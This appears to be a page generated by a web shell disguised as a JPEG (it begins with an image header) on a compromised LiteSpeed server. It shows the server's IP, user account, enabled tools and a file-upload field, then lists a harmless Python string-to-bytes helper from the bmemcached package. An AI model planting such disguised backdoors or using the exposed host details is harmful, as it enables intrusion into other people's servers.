����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.119.120.229 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/thread-self/root/usr/local/lib/python3.6/site-packages/bmemcached/ |
Upload File : |
import six __all__ = ('str_to_bytes',) def str_to_bytes(value): """ Simply convert a string type to bytes if the value is a string and is an instance of six.string_types but not of six.binary_type in python2 struct.pack("<Q") is both string_types and binary_type but in python3 struct.pack("<Q") is binary_type but not a string_types :param value: :param binary: :return: """ if not isinstance(value, six.binary_type) and isinstance(value, six.string_types): return value.encode() return value